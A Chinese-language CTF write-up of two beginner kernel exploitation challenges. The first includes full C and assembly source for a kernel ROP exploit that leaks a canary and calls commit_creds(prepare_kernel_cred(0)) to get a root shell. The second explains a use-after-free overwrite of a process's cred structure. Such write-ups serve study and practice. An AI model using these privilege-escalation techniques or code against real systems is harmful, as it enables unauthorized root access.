看别人写的WP发现别人写的exp长度比我写的代码量大了好几倍......
一道kernel rop,逛github时发现的,本来是在练习写驱动,但是偶然看见了。
IDA反编译一下:

属于proc驱动,这类驱动最大的特点就是跟misc设备一样,注册和撤销都只需要一个函数,不像chr设备那样需要分成alloc_chrdev_region(分配字符设备的主次设备号区间),cdev_init(将设备号与f_ops绑定),cdev_add(接入cdev_map)。
(虽然misc设备也属于特殊的chr设备)


代码漏洞其实很浅显,看似它对用户的write长度和read长度做了校验,但仔细看就能发现实际上它是在对proc_data这个vmalloc分配的堆块的最大长度做校验,而不是对栈的字节长度做校验。
利用思路就是先用read,越界读取canary,然后再越界写入rop,执行commit_creds(prepare_kernel_cred(0))完成提权,最后返回用户态触发shell。
kernelrop链的构造不能仅仅是执行完这两个函数就结束,因为内核态在返回用户态时还会恢复最初保存在内核栈上的大量寄存器,通用寄存器虽然无需在意,但是ss,cs,rflags,这几个寄存器是不能瞎填的,同时还得控制好rip,让它返回时就能立即执行shell函数,以及确保rsp在正常的映射区域内。
这就需要借助swapgs_restore_regs_and_return_to_usermode这个原本是正常内核返回用户空间所经历的函数:

它前半段pop出去一大堆原本存在内核栈上的寄存器旧值,为返回做准备;随后,在iret前,它会把ss,cs,rflags,rip,rsp这几个寄存器的旧值转移到内核的安全栈上(为了保证不会在返回时中断触发异常),最后执行iretq,死板地弹出这五个寄存器。
因此,rop的布置如下:

retto是一个跳板函数,因为返回用户态的下一步就是立即call get_shell,而这时是有可能因为call前要求rsp的16字节栈对齐而造成段错误的,所以在call前补上一条and rsp,~0xf汇编来保证16字节对齐。
最后是完整exp,我选择了使用更熟悉的手动链接汇编,而没有使用内联:
#define prepare_kernel_cred 0xffffffff810881d0
#define commit_creds 0xffffffff81087e90
#define swapgs_restore_regs_and_return_to_usermode 0xffffffff81c00a2f
#define mov_rdi_rax_ret 0xffffffff810f1a78
#define pop_rdi_ret 0xffffffff81001518
#include<unistd.h>
#include<sys/types.h>
#include<fcntl.h>
#include<stdint.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
extern uint16_t _SS,_CS;
extern uint64_t _RFLAGS,_RSP;
extern void retto();
extern void save();
void get_shell()
{
system("/bin/sh");
}
int main()
{
save();
uint64_t canary;
uint64_t buf[32];
uint64_t rop[32];
uint64_t end;
memset(rop,0,256);
uint64_t * posp = buf;
int fd = open("/proc/shellcode_device",O_RDWR);
read(fd,buf,256);
for(int i = 0;i < 32;i++)
{
if(i != 4)
{
printf("%p\n",*posp);
posp = posp + 1;
}
else
{
canary = *posp;
printf("canary: %p\n",canary);
posp = posp + 1;
}
}
for(int j = 0;j < 4;j++)
{
rop[j] = 0X4141414141414141;
}
rop[4] = canary;
rop[5] = 0x4141414141414141;
rop[6] = pop_rdi_ret;
rop[7] = 0;
rop[8] = prepare_kernel_cred;
rop[9] = mov_rdi_rax_ret;
rop[10] = commit_creds;
end = swapgs_restore_regs_and_return_to_usermode + 0x16;
rop[11] = end;
rop[14] = (uint64_t)&retto;
rop[15] = _CS;
rop[16] = _RFLAGS;
rop[17] = _RSP;
rop[18] = _SS;
write(fd,rop,256);
return 0;
}nasm的类Intel汇编:
global _SS
global _CS
global _RFLAGS
global _RSP
global retto
global save
extern get_shell
section .data
_SS: dw 0
_CS: dw 0
_RFLAGS: dq 0
_RSP: dq 0
section .text
save:
mov word [ rel _SS ],ss
mov word [ rel _CS ],cs
pushfq
pop qword [ rel _RFLAGS ]
mov qword [ rel _RSP ],rsp
ret
retto:
xor rbp,rbp
and rsp,~0xf
call get_shell
一道入门的kernel pwn题,本意是恶补内核知识,看完题感觉难度不大,可是调试花了好久......
给了三个东西,一个cpio,一个启动脚本,还有一个bzImage,先检查一下:

cpio是一个gz压缩后的文件,boot.sh也是正常启动。
这里本来打算直接把qemu复制过来就启动,结果报错是kvm有问题,因为我使用的是虚拟机,kvm可能要用真实硬件。
(于是我又尝试把Windows主机里一模一样的内核和cpio拉过来启动,结果也失败了,可能必须是跑Linux的物理机才行)
于是直接把-kvm参数删掉了,果然跑起来了。

有一个很显眼的init脚本,挂载sys,proc和tmp之后是锁flag,然后调用insmod加载了一个名为babydriver.ko的驱动模块,显然就是漏洞利用点。
然后直接把它拖进IDA:






逻辑也是直来直去的,init函数创建一个字符设备,open会kmalloc一块内存,然后指针存给全局变量,close函数只执行kfree但没有置为NULL,ioctl的特定cmd可以修改这块内存为指定大小。
说一下fd的问题,当调用open函数时,在对应进程的task_struct实例里,存有一个指针,指向一个files_struct实例(文件描述符表),该表的fd_array数组就会多一个元素,该元素同样是一个指针,指向文件的核心结构体file的实例,file实例会维护open,write,ioctl对应的驱动注册函数,注册的详细情况可以看图中伪代码里的init部分,(比如这里babyopen就会注册到open),同时还维护有pos,也就是文件偏移量,这正是为什么打开同一个文件时,不同fd的偏移量也会不一样。
利用思路大概就是创建两个fd(fd1和fd2)(因为open时调用kmalloc会把指针存在全局变量里,所以这里在生成fd2时,其实会发生一次覆盖,不过没什么用),随后使用ioctl修改这个内存的大小,让它正好跟cred的大小相同,随后把它kfree掉,进入cred的专属链表,这样如果创建新的子进程,它就直接被申请出来给子进程当cred实例来使用了。
而恰好我们还有一个UAF,这时就可以改掉那块内存里的uid,euid,guid等变量,统统覆盖为0,子进程也就完成提权了。
然后写exp,先把cpio解出来,写好exp,静态编译之后再cpio打包一次,就把exp传进去了。

这里第一遍exp是使用了execve传/bin/sh而不是system,然后......qemu就崩溃重启了。
改用system就不会崩溃了,但是会提权失败。
这里事后跟AI讨论了一下原因,我觉得比较合理的是,system是fork+execve来执行的,这意味着会有一个孙进程出现,在孙进程执行期间,子进程会陷入wait状态,而如果子进程直接调用execve的话,父进程会马上return 0退出,同时关闭fd2,直接就double free了。
而只改用system还不够,因为子进程和孙进程虽然还挂着,但是父进程仍然会跳过if马上退出(好在因为子进程挂着fd2,所以不会double free,也不会崩溃),失去了父进程的子进程和孙进程就会被systemd收养,但它显然不会把控制台交给孙进程。
所以还需要加一个wait,确保父进程在子进程和孙进程执行完之后才能退出。
这是最终exp:


kernel pwn的体验感是,比用户态堆好玩多了......